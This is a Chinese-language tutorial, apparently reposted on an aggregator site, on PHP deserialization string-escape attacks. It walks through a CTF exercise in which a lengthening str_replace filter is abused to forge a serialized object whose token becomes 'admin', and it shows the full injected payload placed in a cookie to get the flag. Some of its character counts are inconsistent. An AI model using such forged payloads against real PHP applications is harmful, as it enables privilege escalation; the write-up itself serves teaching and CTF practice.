反序列化字符串逃逸(上篇)

首先,必须先明白,这个点并不难,我给大家梳理一遍就会明白。

反序列化字符串逃逸就是序列化过程中逃逸出来字符,是不是很简单,哈哈哈!

好了,不闹了,其实:

这里你们只要懂得一个基础:

serialize() 函数序列化后可以保留其原始数据类型和结构,

而filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

举个栗子:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}
$u=new user('admin','123456');
echo serialize($u);

这里就是最最基础的一个反序列化,然后运行得到的结果是:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

1.这里在实战中相当于拿到一道题目,先拿到最初的反序列化

接下来,我在原来的代码上稍微做个字符串逃逸

再强调一次:filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

2:修改一下原来代码:filter() 函数对序列化后的字符串进行过滤,进行字符串逃逸。

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('admin','hacker',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);//$u=new user('admin','123456');
//echo serialize($u);echo $us;

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最初

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最新逃逸后

在序列化字符串中,s:5:"hacker" 表示字符串类型的属性值,其中 s:5: 表示字符串长度为 5,而实际上应该是 6("hacker")。到这里已经逃逸成功了。这是因为在 filter() 函数中,将 "admin" 替换为 "hacker" 后,字符串长度发生了变化,导致序列化字符串中的长度信息不准确。

所以接下来这里我就要把;s:3:"BTG";i:0;这里的BTG变成1;

代码:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);//这里就是把";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}放进'admin'里面补齐最后一个字符而已,";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}这里有45个字符,就直接一共45个admin,因为每次逃逸一个字符,所以必须重复45次$u_serialize=serialize($u);
$us=filter($u_serialize);echo($u_serialize);
结果:O:4:"user":3:{s:8:"username";s:270:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

其实就到这里就搞定了,如果不放心,那就var——dump,把反序列化输出出来,

验证阶段:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);$obj=unserialize($us);var_dump($obj);

结果:

object(user)#2 (3) {
  ["username"]=>
  string(270) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
  string(6) "123456"
  ["BTG"]=>
  int(1)
}
这里BTG从0变成了1,说明你是污染成功了的,因为我的原代码里面写死了BTG是0的,现在变成了1,所以证明反序列化是成功了。

我说现在大家应该都已经懂得反序列化字符串逃逸的一半了,不信?让我来引导大家做道例题就好了!

<?php


# @message.php


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


字符串逃逸特征: $umsg = str_replace('fuck', 'loveU', serialize($msg));

做这种题就三步走,千万别给自己加戏!

第一步:先拿到以个正常最初的反序列化:

代码如下

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('a','b','c');$msg_1=serialize($msg);echo $msg_1;

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 

第二步:使用filter进行一次字符串逃逸。

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuck','b','c');$msg_1=serialize($msg);$msg_2=filter($msg_1);echo $msg_2;

O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
第三步:算出要逃逸的次数进行复制输出

s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}这里有62个字符要逃逸,所以必须复制61次fuck,还有这得改成:";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},因为后面需要admin权限。

简单来说就是把";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}丢到fuck后面,然后根据字符个数,复制几次,就完成了。

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');$msg_1=serialize($msg);$msg_2=filter($msg_1);echo $msg_2;

O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

搞定了!这就完成了,如果不放心,可以加一步验证(因为数很多字符容易出错
 

也就改一下输出那个,这个半分钟就好最终变成了admin,说明我们反序列化成功的了。

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这道题目还有一点尾巴,这道题目还有一点隐藏代码,接下来把fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}加入道cookie就能拿到flag了

最后的最后,再进行一次总结:字符串逃逸有三步:

1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)

2.使用filter进行一次字符串逃逸。

3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下,这个等我之后再更新文章)

ps:记住!无论字符串逃逸是增多还是减少,都是因为 return str_replace这个玩意替换字符后造成的逃逸。

希望我的文章能够帮助大家,谢谢看到这里的各位。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/640320.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows系统如何修改Nginx配置实现远程访问多个本地站点

文章目录 1. 下载windows版Nginx2. 配置Nginx3. 测试局域网访问4. cpolar内网穿透5. 测试公网访问6. 配置固定二级子域名7. 测试访问公网固定二级子域名 1. 下载windows版Nginx 进入官方网站(http://nginx.org/en/download.html)下载windows版的nginx 下载好后解压进入nginx目…

P4学习(六)实验三:a Control Plane using P4Runtime

目录 一. 实验目的二.阅读MyController.py文件1.导入P4Runtime的库2.main部分1. P4InfoHelper 实例化2. 创建交换机连接3. 设置主控制器4. 安装 P4 程序5. 写入隧道规则6. 读取表项和计数器&#xff08;注释掉的部分&#xff09;7. 定时打印隧道计数器8. 异常处理9. 关闭交换机…

hbase预分区

一、原理 HBase在创建表时,默认会自动创建一个Region分区。在导入数据时,所有客户端都向这个Region写数据,直到这个Region足够大才进行切分。这样在大量数据并行写入时,容易引起单点负载过高,从而影响入库性能。一个好的方法是在建立HBase表时预先分配数个Region,这样写…

2024年华为OD机试真题-CPU算力分配-Python-OD统一考试(C卷)

题目描述: 现有两组服务器A和B,每组有多个算力不同的CPU,其中A[i]是A组第i个CPU的运算能力,B[i]是B组第i个CPU的运算能力。一组服务器的总算力是各CPU的算力之和。为了让两组服务器的算力相等,允许从每组各选出一个CPU进行一次交换,求两组服务器中,用于交换的CPU的算力,…

TensorRT部署--Linux(Ubuntu)环境配置

系列文章目录 TensorRT环境配置–Linux(Ubuntu) 文章目录 系列文章目录前言一、环境配置二、CUDA下载安装三、cuDNN下载安装四、TensorRT下载安装五、模型创建总结 前言 TensorRT部署-Windows环境配置: https://blog.csdn.net/m0_70420861/article/details/135658922?csdn_s…

还在为git分支回滚发愁吗??一文了解git分支回滚操作全流程!!

在Git中进行分支回滚通常意味着将分支上的头指针&#xff08;HEAD&#xff09;移动到旧的提交上。这可以通过几种不同的命令完成&#xff0c;包括git reset和git revert。下面将解释这两种方法。 远程分支的回滚包含以下几步&#xff1a; 第一步&#xff1a;本地回滚 首先&am…

深入了解WPF控件:常用属性与用法(六)

掌握WPF控件&#xff1a;熟练常用属性&#xff08;六&#xff09; ListView 用于展示数据项集合的列表控件。它提供了丰富的功能和灵活的定制性&#xff0c;可以轻松地展示和编辑大量的数据。 常用属性描述ItemsSource用于设置ListView的数据源。可以是一个集合、数组或列表…

开发安全之:System Information Leak: External

Overview 在调用 error_reporting() 过程中&#xff0c;程序可能会显示系统数据或调试信息。由 error_reporting() 揭示的信息有助于攻击者制定攻击计划。 Details 当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时&#xff0c;就会发生外部信息泄露。 示例 1…

透明拼接屏代工:专业制造与质量保证

透明拼接屏代工是指专业的代工厂家根据客户的需求&#xff0c;为其生产透明拼接屏产品。随着透明拼接屏市场的不断扩大&#xff0c;越来越多的企业选择通过代工方式快速进入市场。尼伽小编将深入探讨透明拼接屏代工的优势、选择合适的代工厂家以及质量保证等方面的内容。 一、透…

深度学习记录--指数加权平均

指数加权移动平均(exponentially weighted moving averages) 如何对杂乱的数据进行拟合&#xff1f; 通过指数加权平均可以把数据图近似拟合成一条曲线 公式&#xff1a; 其中表示第t个平均数&#xff0c;表示第t-1个平均数&#xff0c;表示第t个数据&#xff0c;表示变化参数…

【测试入门】测试用例经典设计方法 —— 因果图法

01、因果图设计测试用例的步骤 1、分析需求 阅读需求文档&#xff0c;如果User Case很复杂&#xff0c;尽量将它分解成若干个简单的部分。这样做的好处是&#xff0c;不必在一次处理过程中考虑所有的原因。没有固定的流程说明究竟分解到何种程度才算简单&#xff0c;需要测试…

IP2325 5V输入双节串联锂电池升压充电IC 英集芯参数

简介 IP2325是一款支持双节串联锂电池/锂离子电 池的升压充电管理IC。 IP2325集成功率MOS&#xff0c;采用同步开关架构&#xff0c; 使其在应用时仅需极少的外围器件&#xff0c;并有效减小整 体方案的尺寸&#xff0c;降低BOM成本。 IP2325的升压开关充电转换器工作频率500K…

免费的WordPress插件大全

在当今数字化的时代&#xff0c;拥有一个强大的在线存在变得至关重要。而对于使用WordPress建站的用户来说&#xff0c;插件是提高网站功能的关键。在这篇文章中&#xff0c;我们将为您推荐三款免费的WordPress插件&#xff0c;它们不仅是147SEO软件中的佼佼者&#xff0c;而且…

《WebKit 技术内幕》学习之五(3): HTML解释器和DOM 模型

3 DOM的事件机制 基于 WebKit 的浏览器事件处理过程&#xff1a;首先检测事件发生处的元素有无监听者&#xff0c;如果网页的相关节点注册了事件的监听者则浏览器会将事件派发给 WebKit 内核来处理。另外浏览器可能也需要处理这样的事件&#xff08;浏览器对于有些事件必须响应…

makefile 编译动态链接库使用(.so库文件)

makefile 编译动态链接库使用&#xff08;.so库文件&#xff09; 动态链接库:不会把代码编译到二进制文件中&#xff0c;而是在运行时才去加载&#xff0c; 好处是程序可以和库文件分离&#xff0c;可以分别发版&#xff0c;然后库文件可以被多处共享 动态链接库 动态&#…

vue3项目eslint配置、配置prettier(格式化配置)

文章链接: 全部配置链接 第一步:eslint配置、配置prettier(代码格式化):点击链接 (1) .eslint.cjs—eslint配置文件 (2).eslintignore—校验忽略文件 (3).prettierrc.json添加规则 (4).prettierignore忽略文件 prettierrc规范说明: npm install -D eslint-plugin-import…

gdip-yolo项目解读:gdip模块 |mdgip模块 |GDIP regularizer模块的使用分析

gdip-yolo是2022年提出了一个端到端的图像自适应目标检测框架&#xff0c;其论文中的效果展示了良好的图像增强效果。其提出了gdip模块 |mdgip模块 |GDIP regularizer模块等模块&#xff0c;并表明这是效果提升的关键。为此对gdip-yolo的项目进行深入分析。 gdip-yolo的论文可以…

第15届蓝桥杯嵌入式省赛准备第三天总结笔记(使用STM32cubeMX创建hal库工程+串口接收发送)

因为我是自己搞得板子&#xff0c;原本的下程序和串口1有问题&#xff0c;所以我用的是串口2&#xff0c;用的PA2和PA3 一&#xff0c;使用CubeMX配置串口 选择A开头的这个是异步通信。 配置串口参数&#xff0c;往届的题基本用的9600波特率&#xff0c;所以我这里设置为9600…

C++——结构体

1&#xff0c;结构体基本概念 结构体属于用户自定义的数据类型&#xff0c;允许用户存储不同的数据类型。像int&#xff08;整型&#xff09;&#xff0c;浮点型&#xff0c;bool型&#xff0c;字符串型等都是属于系统内置的数据类型。而今天要学习的结构体则是属于我们自定义…

导出 MySQL 数据库表结构、数据字典word设计文档

一、第一种 &#xff1a;利用sql语句查询 需要说明的是该方法应该适用很多工具&#xff0c;博主用的是navicat SELECT TABLE_NAME 表名,( i : i 1 ) AS 序号,COLUMN_NAME 列名, COLUMN_TYPE 数据类型, DATA_TYPE 字段类型, CHARACTER_MAXIMUM_LENGTH 长度, IS_NULLABLE…